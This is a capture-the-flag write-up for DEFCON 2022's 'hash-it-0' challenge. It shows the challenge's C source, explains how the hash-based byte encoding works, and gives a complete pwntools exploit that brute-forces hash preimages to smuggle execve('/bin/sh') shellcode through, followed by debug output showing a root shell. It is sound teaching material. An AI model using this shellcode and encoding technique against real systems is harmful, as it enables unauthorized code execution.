shellcoding using hash functions!
hash it 0
The hash-it-0 challenge is from DEFCON’s 2022 qualification round. It is like a normal shellcoding challenge but with mild steroids…
The challenge involves shellcoding and we need to encode the shellcode for the target program to process and execute.
Analysis
The challenge involves single binary called main.c:
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
#include <openssl/evp.h>
#define ALARM_SECONDS 10
void be_a_ctf_challenge()
{
alarm(ALARM_SECONDS);
}
typedef const EVP_MD *(*hash_algo_t)(void);
hash_algo_t HASH_ALGOS[] = {
EVP_md5,
EVP_sha1,
EVP_sha256,
EVP_sha512};
int hash_byte(
uint8_t input_byte_0,
uint8_t input_byte_1,
uint8_t *output_byte,
const EVP_MD *(*evp_md)(void))
{
EVP_MD_CTX *mdctx;
uint8_t input[2];
input[0] = input_byte_0;
input[1] = input_byte_1;
if ((mdctx = EVP_MD_CTX_new()) == NULL)
{
return -1;
}
if (1 != EVP_DigestInit_ex(mdctx, evp_md(), NULL))
{
return -1;
}
if (1 != EVP_DigestUpdate(mdctx, input, 2))
{
return -1;
}
uint8_t *digest = malloc(EVP_MD_size(evp_md()));
if (digest == NULL)
{
return -1;
}
unsigned int digest_len = 0;
if (1 != EVP_DigestFinal_ex(mdctx, digest, &digest_len))
{
return -1;
}
EVP_MD_CTX_free(mdctx);
*output_byte = digest[0];
free(digest);
return 0;
}
int read_all(FILE *fh, void *buf, size_t len)
{
uint8_t *b8 = (uint8_t *)buf;
size_t bytes_read = 0;
while (bytes_read < len)
{
int r = fread(&b8[bytes_read], 1, len - bytes_read, fh);
if (r <= 0)
{
return -1;
}
bytes_read += r;
}
return 0;
}
int main(int argc, char *argv)
{
be_a_ctf_challenge();
uint32_t shellcode_len = 0;
if (read_all(stdin, &shellcode_len, sizeof(uint32_t)))
{
return -1;
}
shellcode_len = ntohl(shellcode_len);
uint8_t *shellcode_mem = malloc(shellcode_len);
if (shellcode_mem == NULL)
{
return -1;
}
if (read_all(stdin, shellcode_mem, shellcode_len))
{
return -1;
}
unsigned int i;
for (i = 0; i < shellcode_len; i += 2)
{
uint8_t new_byte;
if (hash_byte(shellcode_mem[i],
shellcode_mem[i + 1],
&new_byte,
HASH_ALGOS[(i >> 1) % 4]))
{
return -1;
}
shellcode_mem[i / 2] = new_byte;
}
/* If they can't figure out shellcode_len needs to be page-aligned that's
their problem. */
void *mem = mmap(0,
shellcode_len / 2,
PROT_READ | PROT_WRITE | PROT_EXEC,
MAP_PRIVATE | MAP_ANONYMOUS,
-1,
0);
memcpy(mem, shellcode_mem, shellcode_len / 2);
((void (*)())mem)();
return 0;
}
The program reads in length of the shellcode, and reads shellcode to the length given.
Notes
read_all
seems to be secure.shellcode_len
gets converted into little-endian from big-endian.mmap
will allocate a page and will use it to run the shellcode.
Back to main.c :leftwards_arrow_with_hook:
We’re mostly interested in hash_byte
, since it will process the user input and create a new shellcode to execute.
Observing hash_byte
suggests that it will take in two bytes and create a single output byte. It will choose one of four hash algorithms from:
hash_algo_t HASH_ALGOS[] = {
EVP_md5,
EVP_sha1,
EVP_sha256,
EVP_sha512};
based on the current index- and this is circular, meaning the first two bytes will be processed by MD5, the second SHA-1, the third SHA-256, the fourth SHA-512, and back to MD5.
Planning
We could only create an encoded shellcode where each two bytes, when digested by hash, corresponds to each byte of the actual shellcode and send it.
This can be achieved by:
- writing the shellcode
- brute force 2-byte input for hash to match each byte of shellcode
- construct & send the encoded payload
Exploit
A Python exploit that reciprocates the above plan can be written as:
#!/usr/bin/python3
from pwn import *
import hashlib
context.log_level='debug'
context.arch='amd64'
# context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
ru = lambda a: p.readuntil(a)
r = lambda n: p.read(n)
sla = lambda a,b: p.sendlineafter(a,b)
sa = lambda a,b: p.sendafter(a,b)
sl = lambda a: p.sendline(a)
s = lambda a: p.send(a)
sc = asm(f'''
lea rdi, [rip+binsh]
xor rdx, rdx
xor rsi, rsi
mov eax, 59
syscall
binsh: .asciz "/bin/sh"
''')
payload = b''
for i, c in enumerate(sc):
for j in range(2**16): # brute force 2 bytes
if i % 4 == 0: m = hashlib.md5() # initialize everytime!!!
elif i % 4 == 1: m = hashlib.sha1()
elif i % 4 == 2: m = hashlib.sha256()
elif i % 4 == 3: m = hashlib.sha512()
m.update(p16(j)) # 2 byte input
if m.digest()[0] == c: # match found
payload += p16(j)
break
else:
log.critical("Hash crack fail") # after all iterations
exit()
log.info("length: "+str(len(payload)))
p=process('./challenge')
s(p32(len(payload))[::-1]) # big endian
# gdb.attach(p)
sleep(1.0)
s(payload)
p.interactive()
I didn’t know I had to initialize hash function everytime before using it, but now I do.
result:
> # ./exp.py
[DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python3.10/dist-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
.section .shellcode,"awx"
.global _start
.global __start
.p2align 2
_start:
__start:
.intel_syntax noprefix
lea rdi, [rip+binsh]
xor rdx, rdx
xor rsi, rsi
mov eax, 59
syscall
binsh: .asciz "/bin/sh"
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-zrc6ejvk/step2 /tmp/pwn-asm-zrc6ejvk/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-zrc6ejvk/step3 /tmp/pwn-asm-zrc6ejvk/step4
[*] length: 56
[+] Starting local process './challenge' argv=[b'./challenge'] : pid 2656
[DEBUG] Sent 0x4 bytes:
00000000 00 00 00 38 │···8│
00000004
[DEBUG] Sent 0x38 bytes:
00000000 6a 01 26 00 8c 00 f3 00 71 00 0a 00 17 00 33 02 │j·&·│····│q···│··3·│
00000010 5d 00 f4 00 6e 00 f4 01 55 00 2d 01 c7 00 81 02 │]···│n···│U·-·│····│
00000020 71 00 0a 00 62 01 0e 00 c2 00 80 00 11 03 5b 01 │q···│b···│····│··[·│
00000030 c2 00 3f 00 d0 00 81 02 │··?·│····│
00000038
[*] Switching to interactive mode
$ id
[DEBUG] Sent 0x3 bytes:
b'id\n'
[DEBUG] Received 0x34 bytes:
b'uid=0(root) gid=0(root)
Thanks,
079